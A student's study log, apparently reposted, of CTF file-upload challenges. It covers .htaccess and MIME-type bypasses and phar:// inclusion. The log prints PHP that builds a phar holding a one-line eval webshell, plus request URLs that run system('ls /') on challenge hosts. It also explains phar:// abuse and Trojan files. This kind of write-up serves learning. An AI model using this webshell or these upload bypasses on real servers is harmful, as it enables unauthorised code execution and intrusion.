刷题学习记录(文件上传)

[GXYCTF 2019]BabyUpload

知识点:文件上传+.htaccess+MIME绕过

题目直接给题目标签提示文件上传的类型

 思路:先上传.htaccess文件,在上传木马文件,最后蚁剑连接

上传.htaccess文件

再上传一个没有<?的shell

 但是要把image/png 改成image/jpeg,不然会被拦截过滤

蚁剑连接

找到flag

[NISACTF 2022]bingdundun~

知识点:文件上传+PHP伪协议+phar

环境只能上传图片或压缩包

上传一个图片马,上传成功了但是蚁剑返回的数据为空

 抓包看一下,文件类型和上一题的一样,但是上传还是成功了,问题就是蚁剑连接没有数据

 改文件类型,结果还是一样

 看了wp之后才知道要上传phar文件

<?php$phar = new Phar("exp.phar"); $phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->addFromString("test.php", '<?php eval($_REQUEST[8]);?>'); $phar->stopBuffering();
?>

生成了exp.phar,里面的test.php里就写了一句话木马(defender报毒警告)

这个冰墩墩有点挑,只喜欢压缩包和图片,用zip处理
将exp.phar重命名为exp.zip,上传成功

然后你需要观察,可以看到在打开靶机后,有个upload超链接,点进去发现url加上了一个参数“bingdundun”,如下:

http://1.14.71.254:xxxxx/?bingdundun=upload

传参

http://1.14.71.254:xxxxx/?bingdundun=phar://xxxxxxxxxxxxxxxxxxxxxxxx.zip/67

 

 然后就是进行蚁剑连接,但是一直返回数据为空

 如果直接上传木马的压缩包,会直接报毒,最好就是改后缀上传

别人的wp

但是到我这就会一直连不上蚁剑,页面的回显还一直是index.php

所以到这我有点疑惑

笔记

phar://

环境:可上传png、zip
首先写一个一句话木马shell.php接着压缩成zip文件。上传文件后使用shell工具进行连接。
http://localhost/?url=phar://uploads/63e93ffe53f03e93bb0a0249152d243874e31c9b.zip/shell

zip://

环境:可上传png、zip
首先写一个一句话木马shell.php接着压缩成zip文件。直接上传zip文件,然后使用shell工具进行连接。
http://localhost/?url=zip:///var/www/html/upload/892e38cea0c47c744ecc60ccacc94c23.zip%23shell

 PHP 伪协议 phar:// 

PHP 伪协议 phar:// 是一种用于访问和操作 PHP 归档文件(.phar 文件)的协议。它可以被滥用并导致文件上传漏洞。

当服务器端应用程序接受用户上传的文件并未进行充分验证时,攻击者可能会利用此漏洞通过上传一个伪装成图片或其他类型文件的 PHP 代码文件来执行恶意代码。

具体来说,当攻击者上传一个以 phar:// 开头的文件名到服务器时,PHP 在处理该文件时会将其视为一个归档文件并尝试解析。攻击者可以构造恶意的 .phar 文件,在其中包含 PHP 代码,然后将文件名伪装成其他类型的文件扩展名,例如 image.png

一旦服务器端应用程序接受并存储了这个文件,攻击者可以通过请求绕过文件类型验证,然后再通过 phar:// 协议来访问该文件。这将导致 PHP 解析并执行该文件中嵌入的恶意代码,从而使攻击者能够在服务器上执行任意的操作或获取敏感信息。

使用

当使用 phar:// 伪协议时,PHP 解析引擎会将该协议作为资源封装器来处理,允许访问和操作 .phar 归档文件中的内容。以下是 phar:// 伪协议的一些常见用法:

  1. 访问 .phar 归档文件中的文件:可以通过指定 .phar 文件的路径来访问其中包含的文件。例如,phar://path/to/archive.phar/file.txt 可以访问归档文件 archive.phar 中的 file.txt

  2. 读取 .phar 归档文件中的内容:可以像读取普通文件一样使用 file_get_contents() 或 fopen() 等函数来读取 .phar 归档文件中的内容。

  3. 执行 .phar 归档文件中的代码:可以使用 include 或 require 等 PHP 包含文件的函数来执行 .phar 归档文件中的 PHP 代码。这是利用 phar:// 协议进行文件上传漏洞攻击的关键。

 [MoeCTF 2022]what are y0u uploading?

知识点:文件上传+特洛伊文件

进入环境简单上传一张图片得到的回显是

 一看还规定了上传的文件名

那就重新上传文件,更改文件名

 最后得到的回显就是flag

 拓展:

特洛伊文件

特洛伊文件(Trojan file)是一种恶意软件文件,通常通过欺骗用户下载和执行来感染计算机系统。它通常伪装成看似无害或有用的文件,并通过破坏计算机系统的安全性来实现攻击。

特洛伊文件得名于古希腊传说中的特洛伊木马,因为它们隐藏在看似无害的文件中,以欺骗用户为手段。

特洛伊文件可以采取多种形式,例如文档、多媒体文件或执行文件等。攻击者可以将其放置在可信任的下载网站或通过恶意附件的方式伪装成电子邮件发送给受害者。当用户下载和运行这些文件时,特洛伊文件就开始感染计算机系统,并且在计算机系统中执行各种恶意活动,如窃取用户敏感信息、控制计算机、损坏数据等。

危害

当特洛伊文件被执行时,它可能会执行以下一些恶意活动:

  1. 后门访问:特洛伊文件可能在受感染的计算机上创建一个后门,使攻击者可以远程访问和控制计算机。这样,攻击者可以执行各种恶意操作,例如窃取信息、安装其他恶意软件、删除文件等。

  2. 信息窃取:特洛伊文件可以用于窃取用户的敏感信息,例如登录凭据、银行账户信息、个人身份信息等。这些信息可以被用于个人利益或进一步的攻击行动。

  3. 键盘记录:某些特洛伊文件可以监视用户的键盘输入,记录敲击的按键,以获取密码和其他敏感信息。

  4. 拒绝服务攻击(DDoS):特洛伊文件可以使受感染的计算机成为一个“僵尸”机器,并与其他被感染的计算机一起发起分布式拒绝服务攻击。这将导致目标服务器过载,无法正常提供服务。

  5. 损坏或删除文件:特洛伊文件可以对系统文件、个人文件或重要数据进行破坏或删除。

 [SWPUCTF 2022 新生赛]Ez_upload

知识点:文件上传+.htaccess+MIME绕过

根据题目标签上传.htaccess文件

 接着上传图片马,跟第一题的上传类型一样,要改文件类型

 蚁剑连接成功

 但是flag不在flag文件里

 看到别人的wp发现flag不在文件中,而是在phpinfo中,但是flag好像被人删了

http://node5.anna.nssctf.cn:28004/upload/9ad9b10d407fbc93c318338c4db0314b/1234.png?cmd=phpinfo();

http://node5.anna.nssctf.cn:28004/upload/9ad9b10d407fbc93c318338c4db0314b/1234.png?cmd=system(%22ls+/%22);

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/204988.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Java SSM框架实现文物管理系统项目【项目源码+论文说明】

基于java的SSM框架实现文物管理系统演示 摘要 21世纪的今天&#xff0c;随着社会的不断发展与进步&#xff0c;人们对于信息科学化的认识&#xff0c;已由低层次向高层次发展&#xff0c;由原来的感性认识向理性认识提高&#xff0c;管理工作的重要性已逐渐被人们所认识&#…

java设计模式学习之【组合模式】

文章目录 引言组合模式简介定义与用途&#xff1a;实现方式UML 使用场景优势与劣势组合模式在Spring中的应用员工结构示例代码地址 引言 设想您正在组织一个大型派对&#xff0c;需要将各种食品和饮料按类型整理。您可能有单独的物品&#xff0c;如一瓶苏打水&#xff0c;也可…

Qt 如何使用VTK显示点云

开发环境 ubuntu 20.04 VTK 8.2 编译VTK 下载源码 git clone --recursive https://gitlab.kitware.com/vtk/vtk.git 使用版本管理工具&#xff0c;切换版本到8.2 更改编译选项&#xff0c;这里使用cmake-gui进行配置 1、编译类型修改为Release 2、安装路径可以设置&#xf…

JavaScript如何实现按键音效、视频播放,标签分类切换横向滚动

1.使用HTML5的audio标签 &#xff08;音频播放&#xff09; <audio id"click-sound"><source src"audio/show.mp3" type"audio/mpeg"> </audio> <button id"button">按钮</button> var clickSound d…

Vue练习 v-model 指令在状态和表单输入之间创建双向绑定

效果&#xff1a; <template><h2>Text Input</h2><input v-model"text"> {{ text }}<h2>Checkbox</h2><input type"checkbox" id"checkbox" v-model"checked"><label for"checkbox…

使用Notepad++编辑器,安装compare比较差异插件

概述 是一款非常有特色的编辑器&#xff0c;Notepad是开源软件&#xff0c;Notepad中文版可以免费使用。 操作步骤&#xff1a; 1、在工具栏 ->“插件”选项。 2、勾选Compare选项&#xff0c;点击右上角“安装”即可。 3、 确认安装插件 4、下载插件 5、插件已安装 6、打…

服务器配置免密SSH

在当今互联网时代&#xff0c;远程工作和网络安全已成为信息技术领域的热点话题。无论是管理远程服务器、维护网络设备还是简单地从家中连接到办公室&#xff0c;安全始终是首要考虑的因素。这就是为什么 SSH&#xff08;Secure Shell&#xff09;成为了网络专业人士的首选工具…

集合进阶指南:从基础知识到高级应用

集合高级 Collection集合 数组和集合的区别 相同点 都是容器,可以存储多个数据 不同点 数组的长度是不可变的,集合的长度是可变的数组可以存储基本数据类型和引用数据类型 集合只能存储引用数据类型,如果要存基本数据类型,需要存对应的包装类 集合类体系结构 Collectio…

家政预约小程序带商城,图文详解

家政预约小程序开发&#xff0c;在线选择服务分类&#xff0c;选择上门时间&#xff0c;提交订单&#xff0c;在线支付。 商城模块&#xff1a;商品分类&#xff0c;在线下单支付。 个人中心&#xff1a;订单管理&#xff08;家政订单&#xff0c;搬家订单&#xff0c;商品订…

antdesign前端一直加载不出来

antdesign前端一直加载不出来 报错&#xff1a;Module “./querystring” does not exist in container. while loading “./querystring” from webpack/container/reference/mf at mf-va_remoteEntry.js:751:11 解决方案&#xff1a;Error: Module “xxx“ does not exist …

肾虚的16个表现,你有吗?

现代研究发现&#xff1a;导致人体衰老的根本原因不是年龄&#xff0c;而是“肾虚”。此外&#xff0c;肾虚不是男人的专利&#xff0c;女人肾虚的危害更大。 一、肾虚的16个表现 1、总感觉口咸 我们的五味&#xff08;酸苦甘辛咸&#xff09;跟我们的脏腑是相对应的&#xf…

软件设计之装饰模式

装饰模式把每个要装饰的功能放在单独的类中&#xff0c;并让这个类包装它所要装饰的对象&#xff0c;因此&#xff0c;当需要执行特殊行为时&#xff0c;客户代码就可以在运行时根据需要有选择地、按顺序地使用装饰功能包装对象。 案例&#xff1a;穿搭。衣柜有帽子、眼镜、…

由于找不到xinput1_3.dll,无法继续执行代码的多种解决方法指南,xinput1_3.dll文件修复

当玩家或用户在启动某些游戏和应用程序时&#xff0c;可能会遭遇到一个系统错误提示&#xff1a;“由于找不到xinput1_3.dll,无法继续执行代码l”。这种情况通常指出系统中DirectX组件存在问题。以下我们将介绍几种常用的解决方法&#xff0c;并提供详细的操作步骤。 一.找不到…

qt-C++笔记之点击按钮弹出文件资源管理器选择文件后把文件路径赋值给一个QString

qt-C笔记之点击按钮弹出文件资源管理器选择文件后把文件路径赋值给一个QString code review! 文章目录 qt-C笔记之点击按钮弹出文件资源管理器选择文件后把文件路径赋值给一个QString1.运行2.main.cpp3.qt_FileDialog.pro4.QFileDialog类详解 1.运行 2.main.cpp 代码 #inclu…

自己搭建一个window系统上的MinIO系统(小白30分钟搞得版)

自己搭建一个window系统上的MinIO系统 前言实现系统说明 效果配置结果测试本地测试同一网络内的其他计算机访问 展望注参考链接 前言 有个项目使用到minio的云端存储系统&#xff0c;为了更好的理解项目&#xff0c;准备对这个“神秘的玩意”自己研究一下&#xff0c;看看到底…

【hacker送书第10期】AI时代系列丛书(五选一)

AI时代系列丛书 AI时代程序员开发之道✨内容简介参与方式 AI时代项目经理成长之道✨内容简介参与方式 AI时代架构师修炼之道✨内容简介参与方式 AI时代产品经理升级之道✨内容简介参与方式 AI时代Python量化交易实战✨内容简介参与方式 AI时代程序员开发之道✨ 内容简介 本书是…

vivado时序方法检查5

TIMING-14 &#xff1a; 时钟树上的 LUT 在时钟树上发现 LUT <cell_name> 。不建议在时钟路径上包含 LUT 单元。 描述 时钟路径上的 LUT 可能导致偏差过大 &#xff0c; 因为时钟必须在穿过互连结构的常规布线资源上进行布线。除偏差过大外 &#xff0c; 这些路径更…

LinuxBasicsForHackers笔记 -- 进程管理

进程是一个正在运行和使用资源的程序。 Linux 内核是操作系统的内核&#xff0c;几乎控制着一切&#xff0c;在创建进程时&#xff0c;它会按顺序为每个进程分配一个唯一的进程 ID (PID)。 查看进程 ps – 用于在命令行查看哪些进程处于活动状态。单独使用 ps 命令并不能真正…

Spring基于注解存储对象

小王学习录 前言基于注解存储对象Controller (控制器存储)Service (服务存储)Repository (仓库存储)Component (组件存储)Configuration (配置存储)Bean(方法注解) 前言 上一篇文章中已经介绍了在Spring中存储Bean和取Bean的方法. 而在 Spring 中想要更简单的存储和读取对象的…